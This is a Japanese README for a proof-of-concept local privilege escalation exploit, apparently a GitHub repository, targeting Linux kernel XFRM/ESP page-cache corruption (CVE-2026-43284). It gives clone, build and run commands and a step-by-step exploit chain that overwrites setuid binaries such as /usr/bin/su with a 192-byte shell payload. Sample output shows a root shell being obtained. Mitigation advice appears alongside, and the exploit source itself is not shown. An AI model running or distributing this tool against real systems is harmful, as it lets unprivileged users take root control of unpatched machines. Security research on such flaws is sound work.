
CVE-2026-43284 の概念実証 — setuid バイナリにパッチを適用するための 4 バイト XFRM/ESP ページキャッシュ書き込みプリミティブ (x86_64, user namespaces)。カーネルプリフライト + SUID スキャンを含む。
概念実証 — XFRM/ESP ページキャッシュ破壊によるローカル権限昇格
4バイト書き込みプリミティブ · 48回の反復 · 192バイト ELF 上書き · 非特権ユーザー + ネット名前空間
左: カーネル事前チェック、setuid スキャン、エクスプロイトチェーン ·
右: ルートシェル起動 — id / whoami で uid=0(root) 確認
テスト環境: WSL2 · Ubuntu 24.04.1 LTS · カーネル 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
免責事項: 許可されたセキュリティ研究、教育、および自分が所有するシステムまたは明示的な許可を得たシステムでのテストのみを目的としています。作者は誤用に対して責任を負いません。
algif_aead がブラックリストに登録されていても動作します — エクスプロイトはカーネル XFRM/ESP コードパスを直接使用します。
エクスプロイト実行前の組み込み事前チェック:
CONFIG_USER_NS、CONFIG_XFRM、CONFIG_INET_ESP を確認/boot/config-*、/lib/modules/*/config、または WSL2 では /proc/config.gz を読み取る)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # または =y
簡易確認:
# ベアメタル / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc、libc、libutil (forkpty 用)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
または手動で:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0は意図的です — 最適化によりタイミングに敏感な splice/UDP 動作が壊れる可能性があります。
id
# uid=1000(youruser) gid=1000(youruser) groups=...
./sley-dirtyfrag # デフォルトターゲット: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # カスタム setuid バイナリ
ツールは3つの自動フェーズを実行します:
| フェーズ | 説明 |
|---|---|
起動したシェル内で:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Ctrl+D を押すか、exit と入力します。PoC はページキャッシュをドロップするため、元のディスク上のバイナリが自動的に復元されます。
復元に失敗した場合:
echo 3 | sudo tee /proc/sys/vm/drop_caches
| コマンド | 説明 |
|---|---|
┌─[ phase 1] kernel config preflight
→ /proc/config.gz
[+] CONFIG_USER_NS = y (必要 =y)
[+] CONFIG_XFRM = y (必要 =y)
[+] CONFIG_INET_ESP = m (必要 =m または =y)
カーネルオプション OK。
┌─[ phase 2] setuid binary scan
10 /usr/bin/su ← ターゲット
14個のsetuidバイナリが見つかりました。
┌─[ phase 3] exploit
[*] unshare userns+netns, 48個のXFRM SAを登録, splice→UDP 4500...
[+] corrupt 全反復完了
[+] verify ELFパッチ検出
╔══════════════════════════════════════╗
║ ルートシェル — 終了で復元 ║
╚══════════════════════════════════════╝
| 修正コミット | f4c50a4034e6 (mainline, 2026年5月8日) |
| 導入コミット | cac2661c53f3 (2017年1月) |
対応: 修正を含むディストリビューションカーネルにアップグレードするか、パッチ済み mainline ツリーからビルドしてください。
# 実行中のカーネルを確認
uname -r
# 修正が含まれているか確認 (例 — ディストリのパッケージ名に合わせて調整)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
このエクスプロイトは root 権限なしでの unshare(CLONE_NEWUSER | CLONE_NEWNET) に依存します。
# 実行時 (すべてのカーネルに存在するとは限りません)
sysctl kernel.unprivileged_userns_clone=0
# またはビルド時に無効化
# CONFIG_USER_NS is not set
注: ユーザー名前空間を無効にするとこの PoC はブロックされますが、必ずしも CVE-2026-43500 (userns がないシステム向け rxrpc バリアント) をブロックするわけではありません。
find / -perm -4000 -type f 2>/dev/null
# 不要なバイナリは削除または強化
setuid バイナリがメモリ内でパッチされたと疑われる場合:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# パッケージマネージャーや既知のハッシュからバイナリの整合性を再確認
unshare(CLONE_NEWUSER | CLONE_NEWNET) — 分離されたユーザー/ネットワーク名前空間 (root 不要)。seq_hi にエンコード (SA あたり4バイト)。UDP_ENCAP_ESPINUDP):
splice() がターゲットファイルをパイプに読み込むsplice() がデータをパイプから UDP ソケットに移動skip_cow パスを経由して ESP スキャッターギャザーリストに入るauthencesn スキャッターウォークが assoclen + cryptlen の位置に seq_hi を書き込むsetuid(0) / setgid(0) / execve("/bin/sh") を実行。| 環境 | カーネル |
|---|---|
| WSL2 Ubuntu 24.04.1 LTS | 6.6.87.2-microsoft-standard-WSL2 |
| Ubuntu 24.04 | 脆弱なビルド |
| Fedora 44 | 脆弱なビルド |
/etc/passwd を8バイト pcbc(fcrypt) ブルートフォースプリミティブで標的とする。このリポジトリには含まれていません。研究および教育目的で現状のまま提供されます。責任を持って使用してください。
SLEY — CVE-2026-43284 dirtyfrag PoC
この研究が役立った場合は、リポジトリにスターを付けることを検討してください。
| CVE | CVE-2026-43284 |
| タイプ | ローカル権限昇格 (LPE) |
| ベクター | XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) ページキャッシュ破壊 |
| プリミティブ | 1回の反復につき4バイト (ESN seq_hi) |
| ペイロード | 192バイト x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh")) |
| デフォルトターゲット | /usr/bin/su |
| アーキテクチャ | x86_64 のみ |
| 必要特権 | 非特権ユーザー (ユーザー名前空間 + ネットワーク名前空間を使用) |
カーネル設定の事前チェック (CONFIG_USER_NS、CONFIG_XFRM、CONFIG_INET_ESP) |
| 2 | システム全体の setuid バイナリスキャン; デフォルトターゲットを強調表示 |
| 3 | ターゲットのバックアップ → ページキャッシュのパッチ (48回の4バイト書き込み) → ルートシェルの起動 |
./sley-dirtyfrag |
/usr/bin/su をエクスプロイト (デフォルト) |
./sley-dirtyfrag /path/to/suid | カスタム setuid バイナリをエクスプロイト |
make | sley-dirtyfrag をビルド |
make clean | バイナリを削除 |
| 対策 | 効果 |
|---|
| カーネルのパッチ / アップグレード | 根本的なページキャッシュ書き込みバグを排除 |
| ユーザー名前空間の制限 | この PoC をブロック (CONFIG_USER_NS が必要) |
| 不要な setuid バイナリの削除 | 実行可能なターゲットを減らす (chmod u-s またはアンインストール) |
| Lockdown / LSM (SELinux, AppArmor) | ポリシーに応じてエクスプロイト後の影響を制限する可能性あり |
| XFRM + UDP/4500 の監視 | 非特権名前空間からの異常な SA 登録や ESP-in-UDP トラフィックを検出 |
posix_fadvise) してカーネルがディスクからクリーンなファイルを再読み込み。| ファイル | 説明 |
|---|
sley-dirtyfrag.c | エクスプロイトソース |
Makefile | ビルドヘルパー |
proof-of-concept-1.jpg | PoC スクリーンショット — 事前チェック + エクスプロイト |
proof-of-concept-2.jpg | PoC スクリーンショット — ルートシェル確認 |
README.md | このファイル |